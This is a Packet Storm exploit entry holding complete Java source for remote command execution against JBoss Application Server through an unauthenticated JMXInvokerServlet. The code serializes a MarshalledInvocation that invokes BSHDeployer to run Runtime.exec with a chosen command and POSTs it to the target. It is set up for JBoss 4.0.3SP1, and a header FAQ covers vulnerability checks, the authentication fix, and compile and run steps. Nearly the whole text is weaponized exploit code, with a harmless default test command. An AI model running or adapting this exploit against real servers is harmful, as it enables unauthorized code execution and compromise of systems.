JBoss JMXInvokerServlet Remote Command Execution

2015-03-30T00:00:00
ID PACKETSTORM:131185
Type packetstorm
Reporter Luca Carettoni
Modified 2015-03-30T00:00:00

Description

                                        
                                            `/*  
* JBoss JMXInvokerServlet Remote Command Execution  
* JMXInvoker.java v0.3 - Luca Carettoni @_ikki  
*  
* This code exploits a common misconfiguration in JBoss Application Server (4.x, 5.x, ...).  
* Whenever the JMX Invoker is exposed with the default configuration, a malicious "MarshalledInvocation"  
* serialized Java object allows to execute arbitrary code. This exploit works even if the "Web-Console"  
* and the "JMX Console" are protected or disabled.  
*  
* [FAQ]  
*  
* Q: Is my target vulnerable?  
* A: If http://<target>:8080/invoker/JMXInvokerServlet exists, it's likely exploitable  
*  
* Q: How to fix it?  
* A: Enable authentication in "jmx-invoker-service.xml"  
*  
* Q: Is this exploit version-dependent?  
* A: Unfortunately, yes. An hash value is used to properly invoke a method.  
* At least comparing version 4.x and 5.x, these hashes are different.  
*  
* Q: How to compile and launch it?  
* A: javac -cp ./libs/jboss.jar:./libs/jbossall-client.jar JMXInvoker.java  
* java -cp .:./libs/jboss.jar:./libs/jbossall-client.jar JMXInvoker  
* Yes, it's a Java exploit. I can already see some of you complaining....  
*/  
  
import java.io.BufferedReader;  
import java.io.IOException;  
import java.io.InputStream;  
import java.io.InputStreamReader;  
import java.io.ObjectOutputStream;  
import java.lang.reflect.Array;  
import java.lang.reflect.Field;  
import java.lang.reflect.Method;  
import java.net.ConnectException;  
import java.net.HttpURLConnection;  
import java.net.URL;  
import javax.management.MalformedObjectNameException;  
import javax.management.ObjectName;  
import org.jboss.invocation.MarshalledInvocation; //within jboss.jar (look into the original JBoss installation dir)  
  
public class JMXInvokerServlet {  
  
//---------> CHANGE ME <---------  
static final int hash = 647347722; //Weaponized against JBoss 4.0.3SP1  
static final String url = "http://127.0.0.1:8080/invoker/JMXInvokerServlet";  
static final String cmd = "touch /tmp/exectest";  
//-------------------------------  
  
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, MalformedObjectNameException {  
  
System.out.println("\n--[ JBoss JMXInvokerServlet Remote Command Execution ]");  
  
//Create a malicious Java serialized object  
MarshalledInvocation payload = new MarshalledInvocation();  
payload.setObjectName(new Integer(hash));  
  
//Executes the MBean invoke operation  
Class<?> c = Class.forName("javax.management.MBeanServerConnection");  
Method method = c.getDeclaredMethod("invoke", javax.management.ObjectName.class, java.lang.String.class, java.lang.Object[].class, java.lang.String[].class);  
payload.setMethod(method);  
  
//Define MBean's name, operation and pars  
Object myObj[] = new Object[4];  
//MBean object name  
myObj[0] = new ObjectName("jboss.deployer:service=BSHDeployer");  
//Operation name  
myObj[1] = new String("createScriptDeployment");  
//Actual parameters  
myObj[2] = new String[]{"Runtime.getRuntime().exec(\"" + cmd + "\");", "Script Name"};  
//Operation signature  
myObj[3] = new String[]{"java.lang.String", "java.lang.String"};  
  
payload.setArguments(myObj);  
System.out.println("\n--[*] MarshalledInvocation object created");  
//For debugging - visualize the raw object  
//System.out.println(dump(payload));  
  
//Serialize the object  
try {  
//Send the payload  
URL server = new URL(url);  
HttpURLConnection conn = (HttpURLConnection) server.openConnection();  
conn.setRequestMethod("POST");  
conn.setDoOutput(true);  
conn.setDoInput(true);  
conn.setUseCaches(false);  
conn.setRequestProperty("Accept", "text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2");  
conn.setRequestProperty("Connection", "keep-alive");  
conn.setRequestProperty("User-Agent", "Java/1.6.0_06");  
conn.setRequestProperty("Content-Type", "application/octet-stream");  
conn.setRequestProperty("Accept-Encoding", "x-gzip,x-deflate,gzip,deflate");  
conn.setRequestProperty("ContentType", "application/x-java-serialized-object; class=org.jboss.invocation.MarshalledInvocation");  
  
ObjectOutputStream wr = new ObjectOutputStream(conn.getOutputStream());  
wr.writeObject(payload);  
System.out.println("\n--[*] MarshalledInvocation object serialized");  
System.out.println("\n--[*] Sending payload...");  
wr.flush();  
wr.close();  
  
//Get the response  
InputStream is = conn.getInputStream();  
BufferedReader rd = new BufferedReader(new InputStreamReader(is));  
String line;  
StringBuffer response = new StringBuffer();  
while ((line = rd.readLine()) != null) {  
response.append(line);  
}  
rd.close();  
  
if (response.indexOf("Script Name") != -1) {  
System.out.println("\n--[*] \"" + cmd + "\" successfully executed");  
} else {  
System.out.println("\n--[!] An invocation error occured...");  
}  
} catch (ConnectException cex) {  
System.out.println("\n--[!] A connection error occured...");  
} catch (IOException ex) {  
ex.printStackTrace();  
}  
}  
  
/*  
* Raw dump of generic Java Objects  
*/  
static String dump(Object o) {  
StringBuffer buffer = new StringBuffer();  
Class oClass = o.getClass();  
  
if (oClass.isArray()) {  
buffer.append("[");  
  
for (int i = 0; i < Array.getLength(o); i++) {  
if (i > 0) {  
buffer.append(",\n");  
}  
Object value = Array.get(o, i);  
buffer.append(value.getClass().isArray() ? dump(value) : value);  
}  
buffer.append("]");  
} else {  
buffer.append("{");  
while (oClass != null) {  
Field[] fields = oClass.getDeclaredFields();  
for (int i = 0; i  
< fields.length; i++) {  
if (buffer.length() > 1) {  
buffer.append(",\n");  
}  
fields[i].setAccessible(true);  
buffer.append(fields[i].getName());  
buffer.append("=");  
try {  
Object value = fields[i].get(o);  
if (value != null) {  
buffer.append(value.getClass().isArray() ? dump(value) : value);  
}  
} catch (IllegalAccessException e) {  
}  
}  
oClass = oClass.getSuperclass();  
}  
buffer.append("}");  
}  
return buffer.toString();  
}  
}  
  
`